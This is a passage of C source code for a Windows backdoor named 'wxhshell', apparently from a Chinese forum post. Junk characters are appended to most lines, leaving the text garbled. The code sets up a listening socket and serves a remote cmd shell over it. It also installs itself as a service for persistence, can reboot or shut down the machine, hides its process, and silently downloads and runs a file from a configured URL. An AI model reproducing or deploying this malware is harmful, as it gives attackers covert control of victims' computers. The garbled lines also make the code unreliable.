      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nJ})6/gK  
    break; j2qfEvU  
  } .u;TeP  
  // 安装 9k^=m)yS'  
  case 'i': { iC+H;s5<  
    if(Install()) o5x^"#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /0B ?3&H  
    else a&VJ YAB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OYp8r  
    break; fDHISJv  
    } wSyu^KDz  
  // 卸载 qTMz6D!Q  
  case 'r': { ?8}jJw2H  
    if(Uninstall()) p% %Y^=z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qu\l$/  
    else 5o ^=~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qWRMwvN{  
    break; FOG+[v  
    } 7Ej#7\TB]  
  // 显示 wxhshell 所在路径 L5uI31  
  case 'p': { x2wWp-Z  
    char svExeFile[MAX_PATH]; '|?r&-5 h  
    strcpy(svExeFile,"\n\r"); D?F5o^e"h<  
      strcat(svExeFile,ExeFile); 2`U&,,-Mf  
        send(wsh,svExeFile,strlen(svExeFile),0); V\hct$ 7Vm  
    break; j5GZ;d?  
    } z))[Lg  
  // 重启 7uNI  
  case 'b': { be#"517  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^!Jm/-  
    if(Boot(REBOOT)) <Pt\)"JA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s9bP6N!,  
    else { GnaV I  
    closesocket(wsh); cS7!,XC  
    ExitThread(0); R_&z2I  
    } 8|Y^Jn\p5u  
    break; tp2 _OQAQ  
    } k ,(:[3J  
  // 关机 i~L7h=__  
  case 'd': { 'Jr*oru  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !|c5@0Wr  
    if(Boot(SHUTDOWN)) 2wsZ&y%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5c7a\J9>  
    else { 6Ymk8.PF  
    closesocket(wsh); e' VXyf  
    ExitThread(0); l'\b(3JF  
    } }rZ=j6Z  
    break; p<19 Jw<  
    } JCfToFB  
  // 获取shell R\amcQ 9  
  case 's': { |c/rHEZ  
    CmdShell(wsh);  m:Abq`C  
    closesocket(wsh); O_Q,!&*6  
    ExitThread(0); iH0c1}<k$  
    break; R7E"7"M10  
  } rP4@K%F9jB  
  // 退出 9ksrr{tW  
  case 'x': { 5xUPqW%3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y<(.,Nb8  
    CloseIt(wsh); 2]ljm] \l  
    break; +]vl8, 4@  
    } iW~f  
  // 离开 vy?YA-  
  case 'q': { e5KF~0`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Sn&%epi  
    closesocket(wsh); Y|nTc.A  
    WSACleanup(); Mv =;+?z!  
    exit(1); \s'6)_  
    break; ?0Zw ^a  
        } _ 0E,@[  
  } Bx >@HU  
  } ]XyJ7esg  
So`"z[5  
  // 提示信息 R&xd ic!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g XMkI$ab  
} *2;3~8Y  
  } L 3@wdC ~0  
c= u ORt>  
  return; mH .I!  
} +8I0.,'  
a!]%@A6p  
// shell模块句柄 7yl'!uz)9  
int CmdShell(SOCKET sock) (5&"Y?#o,  
{ j"s(?  
STARTUPINFO si; 2Wtfx" .y  
ZeroMemory(&si,sizeof(si)); 8t!"K_Mkx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #u@!O%MJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rby7X*.-v  
PROCESS_INFORMATION ProcessInfo; PQr N";+  
char cmdline[]="cmd"; iSlVe~ef  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xW~@V)OH  
  return 0; 8w' 8n  
} %xz02$k  
sNVD"M,  
// 自身启动模式 h+@t8Q;gGw  
int StartFromService(void) \gpKQt0  
{ ! +7ve[z  
typedef struct HfPeR8I%i  
{ "RA$Twhj  
  DWORD ExitStatus; OQvJdjST  
  DWORD PebBaseAddress; n0q(EQy1U  
  DWORD AffinityMask; >w2u  
  DWORD BasePriority; -bF+uCfba  
  ULONG UniqueProcessId; * =l9gv&  
  ULONG InheritedFromUniqueProcessId; Ip x:k+J  
}   PROCESS_BASIC_INFORMATION; pp jrm  
nv]64mL3  
PROCNTQSIP NtQueryInformationProcess; [bXZPIz;j  
:9Pqy pd+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fu$sfq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'P#I<?vB  
9nE%r\H  
  HANDLE             hProcess; 5hMiCod  
  PROCESS_BASIC_INFORMATION pbi; )j'b7)W\  
.O^|MhBJu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0 CS_-  
  if(NULL == hInst ) return 0; {5h_$a!TaU  
(%Rs&/vU~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~fe0Ba4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3Y8 V?* 1|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z# 04 ]  
Tw5BvB1  
  if (!NtQueryInformationProcess) return 0; }s[/b"%y  
cS"6%:hQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZHJzh\?  
  if(!hProcess) return 0; aXagiz\;  
Wwz{98,K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (x@"Dp=MZW  
=[&Jxy>Y  
  CloseHandle(hProcess); I_rVeMw=  
Fz% n!d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XEI]T~  
if(hProcess==NULL) return 0; ( 9l|^w["  
Lsdu:+-  
HMODULE hMod; j>iM(8`t1  
char procName[255]; T5h[{J^  
unsigned long cbNeeded; =Sq7U^(>  
\q>,c49a{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `U R.Rn/x  
cg5DyQ(  
  CloseHandle(hProcess); ` g~-5Z~J  
AXCJFqk;  
if(strstr(procName,"services")) return 1; // 以服务启动 m[f\I^ \%8  
%y q}4[S+o  
  return 0; // 注册表启动 :?J$ +bm}  
} ' e@}N)IX  
'Vd>"ti  
// 主模块 NO1PGen  
int StartWxhshell(LPSTR lpCmdLine) s5HbuyR^  
{ 7^F?key?  
  SOCKET wsl; /<@tbZJ*8  
BOOL val=TRUE; !IS ,[  
  int port=0; vh C"f*  
  struct sockaddr_in door; ?m6E@.{  
]2jnY&a5  
  if(wscfg.ws_autoins) Install(); G r)+O  
]rS+v^@QH  
port=atoi(lpCmdLine); I(.XK ucU  
sAb|]Q((  
if(port<=0) port=wscfg.ws_port; H;6V  
o>YR Kb  
  WSADATA data; 2-4%h!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oaHBz_pg  
~EBZlTN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *K;~V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uD"Voh|]=  
  door.sin_family = AF_INET; =ZQIpc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IYWD_}_ $  
  door.sin_port = htons(port); A{QS+fa/  
Jj!T7f*-GX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '&Ku Ba  
closesocket(wsl); (:1 j-  
return 1; 9SPu 4i  
} f}apn=  
epnDvz\   
  if(listen(wsl,2) == INVALID_SOCKET) { b+3pu\w `  
closesocket(wsl); .jCdJ =z  
return 1; 4ZIXG,@mZJ  
} &}]Wbk4:  
  Wxhshell(wsl); )JPcSy*  
  WSACleanup(); 3Wiu`A  
K"#}R<k8:A  
return 0; zri<'W  
S%4 K-I  
} 8P .! q  
\h-[u%  
// 以NT服务方式启动 ~LVa#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E-x(5^b"  
{ O@[q./VV,  
DWORD   status = 0; DeUDZL%/  
  DWORD   specificError = 0xfffffff; ((y+FJH  
A1|:$tED+2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V{npK(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?$ 3=m)s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b7$?'neH/.  
  serviceStatus.dwWin32ExitCode     = 0; CB~&!MdMr  
  serviceStatus.dwServiceSpecificExitCode = 0; Bpgl U=Qr  
  serviceStatus.dwCheckPoint       = 0; ,Yo In  
  serviceStatus.dwWaitHint       = 0; NY CkYI  
."R 2^`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W46sKD;\^W  
  if (hServiceStatusHandle==0) return; d; M&X!Y  
R\<^A~(Gl  
status = GetLastError(); k: {$M yK  
  if (status!=NO_ERROR) M! s&<Bi  
{ =$m|M m[a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I=1tf;Bsi  
    serviceStatus.dwCheckPoint       = 0; AOTI&v  
    serviceStatus.dwWaitHint       = 0; Ei#"r\q j_  
    serviceStatus.dwWin32ExitCode     = status; 8Hhe&B  
    serviceStatus.dwServiceSpecificExitCode = specificError; $oNkE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !v^D j']  
    return; K1Tzy=Z9j  
  } os>|LPv4  
9TF[uC)-2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W4N$]D=  
  serviceStatus.dwCheckPoint       = 0; 8]0^OSS  
  serviceStatus.dwWaitHint       = 0; rO-Tr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }p#S;JZRu+  
} (\Dd9a8V-  
E_h9y  
// 处理NT服务事件,比如:启动、停止 $, =n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '?-GZ0oM  
{ Jzr(A^vwo  
switch(fdwControl) U $+rlw}  
{ l_8t[  
case SERVICE_CONTROL_STOP: O9opX\9  
  serviceStatus.dwWin32ExitCode = 0; _h5@3>b3r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5!AzEB  
  serviceStatus.dwCheckPoint   = 0; i$ Zhk1  
  serviceStatus.dwWaitHint     = 0; Xdjxt?*  
  { *bZV4}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >iq^Ts  
  } RY*6TYX!  
  return; I3SLR  
case SERVICE_CONTROL_PAUSE: gSP|;Gy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xbIxtZm  
  break; ^UJO(   
case SERVICE_CONTROL_CONTINUE: r:u5+A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JK_sl>v.7  
  break; nOOA5Gz   
case SERVICE_CONTROL_INTERROGATE: -8-Aqh8|  
  break; ^7(zoUn:  
}; 0.?|%;^ib  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FO*Py)/rX  
} Nf3L  
0BD3~Lv  
// 标准应用程序主函数 ed& ,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MJK L4 G  
{ J L]6o8x  
*s_)E 2  
// 获取操作系统版本 qgu.c`GmW  
OsIsNt=GetOsVer(); .>&kA f.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u{I)C0  
lT*Hj.  
  // 从命令行安装 rQ/S|gG  
  if(strpbrk(lpCmdLine,"iI")) Install(); S9mj/GpL3  
e\/Lcng  
  // 下载执行文件 6tP^_9njy  
if(wscfg.ws_downexe) { iA=9Lel  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Nn%{K a  
  WinExec(wscfg.ws_filenam,SW_HIDE); +f|u5c  
} +`\C_i-  
8on2 BC2  
if(!OsIsNt) { p7 |~x@q+  
// 如果时win9x,隐藏进程并且设置为注册表启动 :U?Kwv8s  
HideProc(); Q~uj:A]n<  
StartWxhshell(lpCmdLine); G:f]z;Xdp  
} H]YPMG<  
else ]{dg"J  
  if(StartFromService()) "Sl";.   
  // 以服务方式启动 3 bGpK9M~  
  StartServiceCtrlDispatcher(DispatchTable); 2c}>} A4  
else cp[k[7XGD  
  // 普通方式启动 _t3n<  
  StartWxhshell(lpCmdLine); I,.>tC  
w${=]h*2  
return 0; Cvq2UNz(R  
}
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只看该作者 1 发表于: 2006-10-10
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